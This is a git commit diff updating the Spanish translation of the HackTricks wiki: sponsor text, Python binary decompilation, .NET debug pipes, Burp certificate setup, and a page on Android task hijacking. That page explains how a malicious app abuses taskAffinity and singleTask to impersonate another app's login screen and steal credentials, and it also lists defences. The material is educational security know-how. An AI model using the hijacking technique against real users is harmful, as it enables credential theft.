Translated ['README.md', 'forensics/basic-forensic-methodology/specific-

This commit is contained in:
Translator 2023-08-30 09:51:39 +00:00
parent 5f77a15186
commit 999e45d1dc
29 changed files with 318 additions and 252 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 7.5 KiB

View File

@ -5,7 +5,7 @@
_Logos y diseño de movimiento de Hacktricks por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**Bienvenido a la wiki donde encontrarás cada truco/técnica/herramienta de hacking que he aprendido de CTFs, aplicaciones de la vida real, investigaciones y noticias.**
**Bienvenido a la wiki donde encontrarás cada truco/técnica de hacking/aprendizaje que he aprendido de CTFs, aplicaciones de la vida real, investigaciones y noticias.**
{% endhint %}
Para comenzar, sigue esta página donde encontrarás el **flujo típico** que **debes seguir al realizar pruebas de penetración** en una o más **máquinas:**
@ -53,25 +53,39 @@ Consejo de caza de bugs: **regístrate** en **Intigriti**, una plataforma premiu
<figure><img src=".gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### [Intruder](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Mantente un paso adelante en el juego de la ciberseguridad.
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) facilita la gestión de vulnerabilidades. Realiza un seguimiento de tu superficie de ataque, ve dónde tu empresa es vulnerable y prioriza los problemas que dejan tus sistemas más expuestos para que puedas centrarte en lo que más importa.
Ejecuta miles de comprobaciones con una sola plataforma que cubre toda tu infraestructura tecnológica, desde la infraestructura interna hasta las aplicaciones web, las API y los sistemas en la nube. Intégrate perfectamente con [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) y agiliza DevOps para que tu equipo pueda implementar correcciones más rápido.
Intruder nunca descansa. La protección las 24 horas del día, los 7 días de la semana, monitorea tus sistemas constantemente. ¿Quieres obtener más información? Visita su sitio web y pruébalo con [**una prueba gratuita**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof es el hogar de todas las recompensas por errores criptográficos.**
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
**Recibe recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Recibirás la recompensa después de que se verifique el error.
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Obtén experiencia en pruebas de penetración web3**\
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en una leyenda del hacker web3**\
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡y comienza a ganar con tus hacks!
@ -84,48 +98,46 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
<figure><img src=".gitbook/assets/logo.svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** negocios **en todo el mundo** contra las últimas amenazas de ciberseguridad al proporcionar servicios de **seguridad ofensiva** con un enfoque **moderno**.
[**WebSec**](https://websec.nl) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** negocios **en todo el mundo** contra las últimas amenazas de ciberseguridad al proporcionar servicios de seguridad ofensiva con un enfoque **moderno**.
WebSec es una **empresa de seguridad integral** que lo hace todo; Pruebas de penetración, Auditorías de **seguridad**, Entrenamientos de concienciación, Campañas de phishing, Revisión de código, Desarrollo de exploits, Externalización de expertos en seguridad y mucho más.
WebSec es una empresa de seguridad **todo en uno**, lo que significa que hacen de todo; Pruebas de penetración, Auditorías de seguridad, Entrenamientos de concienciación, Campañas de phishing, Revisión de código, Desarrollo de exploits, Externalización de expertos en seguridad y mucho más.
Otra cosa genial de WebSec es que, a diferencia del promedio de la industria, WebSec tiene **mucha confianza en sus habilidades**, hasta tal punto que **garantizan los mejores resultados de calidad**, como se indica en su sitio web "**Si no podemos hackearlo, ¡no lo pagas!**". Para obtener más información, echa un vistazo a su [**sitio web**](https://websec.nl/en/) y [**blog**](https://websec.nl/blog/)!
Además de lo anterior, WebSec también es un **apoyo comprometido de HackTricks**.
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
### [DragonJAR](https://www.dragonjar.org/)
<figure><img src=".gitbook/assets/image (1) (1) (2) (4) (1).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR es una destacada empresa de ciberseguridad ofensiva**](https://www.dragonjar.org/) **ubicada en Colombia**. DragonJAR ofrece [servicios integrales de ciberseguridad ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) en diversas áreas y prácticamente **cualquier tecnología**, simulaciones de ataque **Red Team**, pruebas de seguridad **física**, **pruebas de estrés**, ingeniería social, revisión de seguridad en **código fuente** y capacitación en ciberseguridad. Además, organizan la **DragonJAR Security Conference**, [un congreso internacional de ciberseguridad](https://www.dragonjarcon.org/) que se ha celebrado durante más de una década, convirtiéndose en un escaparate para las últimas investigaciones de seguridad en español y de gran relevancia en la región.
[**DragonJAR es una empresa der en ciberseguridad ofensiva**](https://www.dragonjar.org/) **ubicada en Colombia**. DragonJAR ofrece [servicios integrales de seguridad informática ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) en diversas áreas y prácticamente **cualquier tecnología**, simulaciones de ataque **Red Team**, pruebas de seguridad **física**, **pruebas de estrés**, ingeniería social, revisión de seguridad en **código fuente** y capacitación en seguridad informática. Además, organizan la **DragonJAR Security Conference**, [un congreso internacional de seguridad informática](https://www.dragonjarcon.org/) que se ha realizado durante más de una década, convirtiéndose en el escaparate para las últimas investigaciones de seguridad en español y de gran relevancia en la región.
[**DragonJAR is a leading offensive cybersecurity company**](https://www.dragonjar.org/) **located in Colombia**. DragonJAR offers [comprehensive offensive cybersecurity services, such as **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) in various areas and practically **any technology**, **Red Team** attack simulations, **physical** security testing, **stress testing**, social engineering, source **code security review**, and cybersecurity training. Additionally, they organize the **DragonJAR Security Conference**, [an international cybersecurity congress](https://www.dragonjarcon.org/) that has been held for over a decade, becoming a showcase for the latest security research in Spanish and of great relevance in the region.
### [SYN CUBES](https://www.syncubes.com/)
<figure><img src=".gitbook/assets/image (10) (2) (1).png" alt=""><figcaption></figcaption></figure>
La plataforma **Security Skills as a Service** combina el talento global de seguridad ofensiva con automatización inteligente, proporcionando datos en tiempo real que necesitas para tomar decisiones informadas.
La plataforma **Security Skills as a Service** combina el talento global de seguridad ofensiva con la automatización inteligente, proporcionando datos en tiempo real que necesitas para tomar decisiones informadas.
{% embed url="https://www.syncubes.com/" %}
## Licencia
**Copyright © Carlos Polop 2023. Excepto donde se especifique lo contrario (la información externa copiada en el libro pertenece a los autores originales), el texto en** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop está bajo licencia** [**Atribución-NoComercial 4.0 Internacional (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
**Copyright © Carlos Polop 2023. Excepto donde se especifique lo contrario (la información externa copiada en el libro pertenece a los autores originales), el texto en** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop está bajo licencia** [**Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
**Si deseas utilizarlo con fines comerciales, contáctame.**
## **Descargo de responsabilidad**
{% hint style="danger" %}
Este libro, 'HackTricks', está destinado únicamente a fines educativos e informativos. El contenido de este libro se proporciona tal cual, y los autores y editores no hacen ninguna representación o garantía de ningún tipo, expresa o implícita, sobre la integridad, precisión, confiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que deposites en dicha información es estrictamente bajo tu propio riesgo.
Este libro, 'HackTricks', tiene fines educativos e informativos únicamente. El contenido de este libro se proporciona tal cual, y los autores y editores no hacen ninguna representación o garantía de ningún tipo, expresa o implícita, sobre la integridad, precisión, confiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que deposites en dicha información es estrictamente bajo tu propio riesgo.
Los autores y editores no serán responsables en ningún caso de ninguna pérdida o daño, incluyendo, entre otros, pérdida o daño indirecto o consecuente, o cualquier pérdida o daño que surja de la pérdida de datos o beneficios derivados del uso de este libro.
Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no aprueban ni respaldan ninguna actividad ilegal o éticamente incorrecta, y cualquier uso de la información contenida en este libro es responsabilidad y discreción del usuario.
Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no aprueban ni respaldan ninguna actividad ilegal o éticamente incorrecta, y cualquier uso de la información contenida en este libro es bajo tu propio riesgo y discreción.
El usuario es el único responsable de cualquier acción tomada basada en la información contenida en este libro, y siempre debe buscar asesoramiento y asistencia profesional al intentar implementar cualquiera de las técnicas o consejos descritos en él.
Al utilizar este libro, el usuario acepta liberar a los autores y editores de cualquier responsabilidad y responsabilidad por cualquier daño, pérdida o daño que pueda resultar del uso de este libro o de cualquiera de la información contenida en él.
Al utilizar este libro, el usuario acepta liberar a los autores y editores de cualquier responsabilidad por cualquier daño, pérdida o perjuicio que pueda resultar del uso de este libro o de cualquiera de la información contenida en él.
{% endhint %}
<details>

View File

@ -12,7 +12,7 @@
</details>
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
@ -94,7 +94,7 @@ Se dispone de varias reglas YARA para determinar si el ejecutable está escrito
### ImportError: Nombre de archivo: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' no existe
Actualmente, con unpy2exe o pyinstxtractor, el archivo de bytecode de Python que obtenemos puede no estar completo y, a su vez, **no puede ser reconocido por uncompyle6 para obtener el código fuente de Python en texto plano**. Esto se debe a la falta de un número de versión de bytecode de Python. Por lo tanto, hemos incluido una opción de prepend; esto incluirá un número de versión de bytecode de Python y ayudará a facilitar el proceso de descompilación. Cuando intentamos usar uncompyle6 para descompilar el archivo .pyc, devuelve un error. Sin embargo, **una vez que usamos la opción de prepend, podemos ver que el código fuente de Python ha sido descompilado con éxito**.
Actualmente, con unpy2exe o pyinstxtractor, el archivo de bytecode de Python que obtenemos puede no estar completo y, a su vez, **no puede ser reconocido por uncompyle6 para obtener el código fuente de Python en texto plano**. Esto se debe a la falta de un número de versión de bytecode de Python. Por lo tanto, hemos incluido una opción de prepend; esto incluirá un número de versión de bytecode de Python y ayudará a facilitar el proceso de descompilación. Cuando intentamos usar uncompyle6 para descompilar el archivo .pyc, devuelve un error. Sin embargo, **una vez que usamos la opción de prepend, podemos ver que el código fuente de Python se ha descompilado correctamente**.
```
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
Traceback (most recent call last):
@ -193,8 +193,8 @@ Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
### Para crear un payload utilizando PyInstaller:
1. Instala PyInstaller usando pip (pip install pyinstaller).
2. Después de eso, emitiremos el comando "pyinstaller --onefile hello.py" (un recordatorio de que 'hello.py' es nuestro payload). Esto agrupará todo en un solo ejecutable.
1. Instala PyInstaller utilizando pip (pip install pyinstaller).
2. Después de eso, emitiremos el comando "pyinstaller --onefile hello.py" (un recordatorio de que 'hello.py' es nuestro payload). Esto agrupará todo en un ejecutable.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
@ -211,9 +211,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -223,7 +223,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View File

@ -21,7 +21,7 @@ Crea dos tuberías con nombres por proceso .Net en [dbgtransportsession.cpp#L127
Entonces, si vas al directorio **`$TMPDIR`** de los usuarios, podrás encontrar **fifos de depuración** que podrías usar para depurar aplicaciones .Net:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
La función [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) manejará la comunicación desde un depurador.

View File

@ -1,48 +1,63 @@
# Tareas, pila de retroceso y actividades en primer plano
# Secuestro de Tareas en Android
Una tarea es una colección de actividades con las que los usuarios interactúan al realizar un trabajo determinado. Las actividades se organizan en una pila, la _**pila de retroceso**_, en el orden en que se abre cada actividad.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Tarea, Pila de Actividades y Actividades en Primer Plano
Una tarea es una colección de actividades con las que los usuarios interactúan al realizar una determinada tarea. Las actividades se organizan en una pila, llamada _**pila de actividades en segundo plano**_, en el orden en que se abre cada actividad.
La actividad que se **muestra** en la pantalla se llama **actividad en primer plano** y su **tarea** se llama **tarea en primer plano**. En un momento dado, solo **una tarea en primer plano es visible en la pantalla**.
Este es un flujo de actividad simple:
* Solo hay Activity 1 en primer plano.
* Se inicia Activity 2 que empuja Activity 1 a la pila de retroceso. Ahora Activity 2 está en primer plano.
* Se inicia Activity 3 que empuja tanto Activity 1 como 2 a la pila de retroceso.
* Ahora, cuando se cierra Activity 3, la actividad anterior, es decir, 2, se lleva automáticamente al primer plano. Así es como funciona la navegación de tareas en Android.
* Solo hay una Actividad 1 en primer plano.
* Se inicia la Actividad 2, que empuja la Actividad 1 a la Pila de Actividades en Segundo Plano. Ahora la Actividad 2 está en primer plano.
* Se inicia la Actividad 3, que empuja tanto la Actividad 1 como la 2 a la Pila de Actividades en Segundo Plano.
* Ahora, cuando se cierra la Actividad 3, la actividad anterior, es decir, la 2, se trae automáticamente al primer plano. Así es como funciona la navegación de tareas en Android.
![](<../../.gitbook/assets/image (548).png>)
## Multitarea de Android - Una tarea
### Multitarea en Android - Una Tarea
Una tarea está compuesta por varias actividades.
![](<../../.gitbook/assets/image (549).png>)
## Multitarea de Android - Varias tareas
### Multitarea en Android - Varias Tareas
Android generalmente administra varias tareas.
Android suele gestionar varias tareas.
![](<../../.gitbook/assets/image (550).png>)
# Controles de tareas
## Controles de Tareas
![](<../../.gitbook/assets/image (551).png>)
# Ataque de afinidad de tareas
## Ataque de Afinidad de Tareas
## Afinidad de tareas y modos de lanzamiento
### Afinidad de Tareas y Modos de Lanzamiento
La **afinidad de tareas** es un atributo que se define en cada etiqueta `<activity>` en el archivo `AndroidManifest.xml`. Describe a qué tarea prefiere un Activity unirse.\
Por defecto, cada actividad tiene la misma afinidad que el nombre del **paquete**.
De forma predeterminada, cada actividad tiene la misma afinidad que el nombre del **paquete**.
Usaremos esto al crear nuestra aplicación PoC.
Utilizaremos esto al crear nuestra aplicación PoC.
```markup
<activity android:taskAffinity=""/>
```
Los modos de lanzamiento permiten definir cómo se asocia una nueva instancia de una actividad con la tarea actual. El atributo `launchMode` especifica una instrucción sobre cómo se debe lanzar la actividad en una tarea. Hay cuatro modos de lanzamiento diferentes:
**Modos de lanzamiento** te permiten definir cómo se asocia una nueva instancia de una actividad con la tarea actual. El atributo [`launchMode`](https://developer.android.com/guide/topics/manifest/activity-element#lmode) especifica una instrucción sobre cómo se debe lanzar la actividad en una tarea.\
Hay cuatro modos de lanzamiento diferentes:
1. estándar (predeterminado)
1. estándar (por defecto)
2. singleTop
3. **singleTask**
4. singleInstance
@ -50,40 +65,35 @@ Los modos de lanzamiento permiten definir cómo se asocia una nueva instancia de
Cuando el `launchMode` se establece en `singleTask`, el sistema Android evalúa tres posibilidades y una de ellas es la razón por la cual nuestro ataque es posible. Aquí están:
* **Si la instancia de la actividad ya existe**:\
Android reanuda la instancia existente en lugar de crear una nueva. Esto significa que hay como máximo una instancia de actividad en el sistema bajo este modo.
Android reanuda la instancia existente en lugar de crear una nueva. Esto significa que hay como máximo una instancia de actividad en el sistema bajo este modo.
* **Si es necesario crear una nueva instancia de actividad**:\
El Servicio de Administrador de Actividades (AMS) selecciona una tarea para alojar la instancia recién creada encontrando una tarea "coincidente" en todas las tareas existentes. **Una actividad "coincide" con una tarea si tienen la misma afinidad de tarea**. Esta es la razón por la cual podemos **especificar la misma afinidad de tarea que la aplicación vulnerable en nuestra aplicación de malware/atacante para que se lance en su tarea en lugar de crear la suya propia**.
El Servicio de Administrador de Actividades (AMS) selecciona una tarea para alojar la instancia recién creada encontrando una tarea "coincidente" en todas las tareas existentes. **Una actividad "coincide" con una tarea si tienen la misma afinidad de tarea**. Esta es la razón por la cual podemos **especificar la misma afinidad de tarea que la aplicación vulnerable en nuestra aplicación de malware/atacante para que se lance en su tarea en lugar de crear la suya propia**.
* **Sin encontrar una tarea "coincidente"**:\
El AMS crea una nueva tarea y hace que la nueva instancia de actividad sea la actividad raíz de la tarea recién creada.
El AMS crea una nueva tarea y convierte la nueva instancia de actividad en la actividad raíz de la tarea recién creada.
## Ataque
### Ataque
La víctima necesita tener la **aplicación maliciosa** **instalada** en su dispositivo. Luego, necesita **abrirla** **antes** de abrir la **aplicación vulnerable**. Luego, cuando se **abre** la **aplicación vulnerable**, la **aplicación maliciosa** se **abrirá en su lugar**. Si esta aplicación maliciosa presenta el **mismo inicio de sesión** que la aplicación vulnerable, el **usuario no tendrá ningún medio para saber que está ingresando sus credenciales en una aplicación maliciosa**.
La víctima necesita tener la **aplicación maliciosa instalada** en su dispositivo. Luego, necesita **abrirla** antes de abrir la **aplicación vulnerable**. Entonces, cuando se **abra** la **aplicación vulnerable**, se **abrirá** en su lugar la **aplicación maliciosa**. Si esta aplicación maliciosa presenta el **mismo inicio de sesión** que la aplicación vulnerable, el **usuario no tendrá forma de saber que está ingresando sus credenciales en una aplicación maliciosa**.
**Puede encontrar un ataque implementado aquí:** [**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)
**Puedes encontrar un ataque implementado aquí:** [**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)
# Prevención del secuestro de tareas
## Prevención del secuestro de tareas
Establecer `taskAffinity=""` puede ser una solución rápida para este problema. El modo de lanzamiento también se puede establecer en **singleInstance** si la aplicación no desea que otras actividades se unan a las tareas que le pertenecen. También se puede agregar una función personalizada **onBackPressed()** para anular el comportamiento predeterminado.
Establecer **`taskAffinity=""`** puede ser una solución rápida para este problema. El modo de lanzamiento también se puede establecer en **singleInstance** si la aplicación no desea que otras actividades se unan a las tareas a las que pertenece. También se puede agregar una función personalizada **onBackPressed()** para anular el comportamiento predeterminado.
# **Referencias**
## **Referencias**
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -23,7 +23,7 @@ Android Studio permite **ejecutar máquinas virtuales de Android que puedes usar
En Windows (en mi caso) **después de instalar Android Studio**, las **herramientas del SDK** se instalaron en: `C:\Users\<NombreDeUsuario>\AppData\Local\Android\Sdk\tools`
En macOS puedes **descargar las herramientas del SDK** y tenerlas en el PATH ejecutando:
En macOS, puedes **descargar las herramientas del SDK** y tenerlas en el PATH ejecutando:
```bash
brew tap homebrew/cask
brew install --cask android-sdk
@ -254,11 +254,11 @@ Explicado en [**este video**](https://www.youtube.com/watch?v=qQicUW0svB8), debe
1. **Instalar un certificado CA**: Simplemente **arrastra y suelta** el certificado DER de Burp **cambiando la extensión** a `.crt` en el móvil para que se guarde en la carpeta de Descargas y ve a `Instalar un certificado` -> `Certificado CA`
<figure><img src="../../.gitbook/assets/image.png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="164"><figcaption></figcaption></figure>
* Verifica que el certificado se haya guardado correctamente yendo a `Credenciales de confianza` -> `USUARIO`
* Verifica que el certificado se haya almacenado correctamente yendo a `Credenciales de confianza` -> `USUARIO`
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Hacerlo de confianza del sistema**: Descarga el módulo de Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un archivo .zip), **arrastra y suelta** en el teléfono, ve a la aplicación de **Magics** en el teléfono a la sección **`Módulos`**, haz clic en **`Instalar desde almacenamiento`**, selecciona el módulo `.zip` y una vez instalado **reinicia** el teléfono:

View File

@ -12,7 +12,7 @@
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
@ -133,7 +133,7 @@ Puedes ver eso en [el siguiente tutorial](frida-tutorial-2.md).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
